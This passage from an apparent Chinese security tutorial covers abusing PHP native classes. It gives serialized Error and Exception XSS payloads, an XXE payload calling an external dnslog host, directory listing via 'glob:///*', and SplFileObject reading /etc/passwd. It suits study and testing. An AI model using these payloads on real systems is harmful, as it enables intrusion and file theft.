PHP8)</code></p><p>通过内置<code>__toString()</code>魔术方法触发。</p><p><strong>Demo</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token variable">$a</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'a'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span> <span class="token variable">$a</span><span class="token punctuation">;</span></span></code></pre><p><strong>Error Class Exp</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"&lt;script>alert(1)&lt;/script>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">#注意版本是PHP7</span></span></code></pre><p><strong>Payload</strong></p><pre class="language-none"><code class="language-none">O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521215011423.png" alt loading="lazy"></p><p><strong>Exception Class Exp</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>　　<span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Exception</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"&lt;script>alert(1)&lt;/script>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>　　<span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><p><strong>Payload</strong></p><pre class="language-none"><code class="language-none">O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521215327661.png" alt loading="lazy"></p><h3 id="SimpleXMLElement"><a href="#SimpleXMLElement" class="headerlink" title="SimpleXMLElement"></a>SimpleXMLElement</h3><p>XXE</p><p><strong>range</strong>：<code>(PHP 5, PHP 7, PHP 8)</code></p><p>利用实例化该类的对象来传入xml代码进行xxe攻击，进而读取文件内容和命令执行。</p><p><strong>payload</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$xml</span> <span class="token operator">=</span> <span class="token operator">&lt;&lt;</span><span class="token operator">&lt;</span><span class="token constant">EOF</span><span class="token operator">&lt;</span><span class="token operator">?</span>xml version<span class="token operator">=</span><span class="token string double-quoted-string">"1.0"</span> encoding<span class="token operator">=</span><span class="token string double-quoted-string">"utf-8"</span> <span class="token delimiter important">?></span></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">ANY</span> <span class="token punctuation">[</span><span class="token internal-subset">    &lt;!ENTITY % remote SYSTEM "http://suhk4i.dnslog.cn">%remote;</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>]><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>x</span><span class="token punctuation">></span></span>&amp;xee<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>x</span><span class="token punctuation">></span></span>EOF;$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);var_dump($xml_class);?></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521220408864.png" alt loading="lazy"></p><h3 id="SPL-File-Class"><a href="#SPL-File-Class" class="headerlink" title="SPL File Class"></a>SPL File Class</h3><h4 id="可遍历目录类"><a href="#可遍历目录类" class="headerlink" title="可遍历目录类"></a>可遍历目录类</h4><p><strong>DirectoryIterator</strong></p><p><strong>range</strong>：<code>(PHP 5, PHP 7, PHP 8)</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">highlight_file</span><span class="token punctuation">(</span>__file__<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$dir</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DirectoryIterator</span><span class="token punctuation">(</span><span class="token variable">$dir</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$a</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token operator">-></span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'&lt;br>'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 不加__toString()也可,因为echo可以自动调用</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521224348452.png" alt loading="lazy"></p><p><strong>FilesystemIterator</strong></p><p><strong>range</strong>：<code>(PHP 5 &gt;= 5.3.0, PHP 7, PHP 8)</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">highlight_file</span><span class="token punctuation">(</span>__file__<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$dir</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FilesystemIterator</span><span class="token punctuation">(</span><span class="token variable">$dir</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$a</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token operator">-></span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'&lt;br>'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">#payload : cmd=glob:///*</span></span></code></pre><p><strong>GlobIterator</strong></p><p><strong>range</strong>：<code>(PHP 5 &gt;= 5.3.0, PHP 7, PHP 8)</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">highlight_file</span><span class="token punctuation">(</span>__file__<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$dir</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">GlobIterator</span><span class="token punctuation">(</span><span class="token variable">$dir</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$a</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token operator">-></span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'&lt;br>'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">#payload : cmd=glob:///*</span></span></code></pre><h4 id="可读取文件类"><a href="#可读取文件类" class="headerlink" title="可读取文件类"></a>可读取文件类</h4><p><strong>SplFileObject</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">highlight_file</span><span class="token punctuation">(</span>__file__<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$context</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SplFileObject</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/etc/passwd'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$context</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521225031747.png" alt loading="lazy"></p><h3 id="ZipArchive-open"><a href="#ZipArchive-open" class="headerlink" title="ZipArchive::open()"></a>ZipArchive::open()</h3><p>可进行文件删除操作</p><p><strong>range</strong>：<code>PHP 5 &gt;= 5.2.0, PHP 7, PHP 8, PECL zip &gt;= 1.1.0</code></p><pre class="language-php" data-language="php"><code class="language-php">ZipArchive <span class="token punctuation">&#123;</span>    <span class="token comment">/* 方法 */</span>    <span class="token keyword">public</span> <span class="token function">addEmptyDir</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$dirname</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">addFile</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$filepath</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$entryname</span> <span class="token operator">=</span> <span class="token string double-quoted-string">""</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$start</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$length</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token class-name static-context">ZipArchive</span><span class="token operator">::</span><span class="token constant">FL_OVERWRITE</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">addFromString</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$content</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token class-name static-context">ZipArchive</span><span class="token operator">::</span><span class="token constant">FL_OVERWRITE</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">addGlob</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$pattern</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$options</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">addPattern</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$pattern</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$path</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"."</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$options</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">close</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">count</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">int</span>    <span class="token keyword">public</span> <span class="token function">deleteIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">deleteName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token function">extractTo</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$destination</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">mixed</span> <span class="token variable">$entries</span> <span class="token operator">=</span> <span class="token operator">?</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">getArchiveComment</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">getCommentIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">getCommentName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">GetExternalAttributesIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">int</span> <span class="token operator">&amp;</span><span class="token variable">$opsys</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">int</span> <span class="token operator">&amp;</span><span class="token variable">$attr</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token operator">?</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">getExternalAttributesName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">int</span> <span class="token operator">&amp;</span><span class="token variable">$opsys</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">int</span> <span class="token operator">&amp;</span><span class="token variable">$attr</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">getFromIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$len</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">getFromName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$len</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">getNameIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">getStatusString</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span>    <span class="token keyword">public</span> <span class="token function">getStream</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token class-name">resource</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token function">isCompressionMethodSupported</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">bool</span> <span class="token variable">$enc</span> <span class="token operator">=</span> <span class="token constant boolean">true</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token function">isEncryptionMethodSupported</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">bool</span> <span class="token variable">$enc</span> <span class="token operator">=</span> <span class="token constant boolean">true</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">locateName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">int</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">open</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$filename</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span><span class="token operator">|</span><span class="token keyword type-declaration">int</span>    <span class="token keyword">public</span> <span class="token function">registerCancelCallback</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">callable</span> <span class="token variable">$callback</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">registerProgressCallback</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">float</span> <span class="token variable">$rate</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">callable</span> <span class="token variable">$callback</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">renameIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$new_name</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">renameName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$new_name</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">replaceFile</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$filepath</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$start</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$length</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setArchiveComment</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$comment</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setCommentIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$comment</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setCommentName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$comment</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setCompressionIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$compflags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setCompressionName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$compflags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setEncryptionIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$password</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setEncryptionName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$method</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$password</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setExternalAttributesIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$opsys</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$attr</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setExternalAttributesName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$opsys</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$attr</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">setMtimeIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$timestamp</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">setMtimeName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$timestamp</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">setPassword</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$password</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">statIndex</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">int</span> <span class="token variable">$index</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">false</span>    <span class="token keyword">public</span> <span class="token function">statName</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$flags</span> <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span 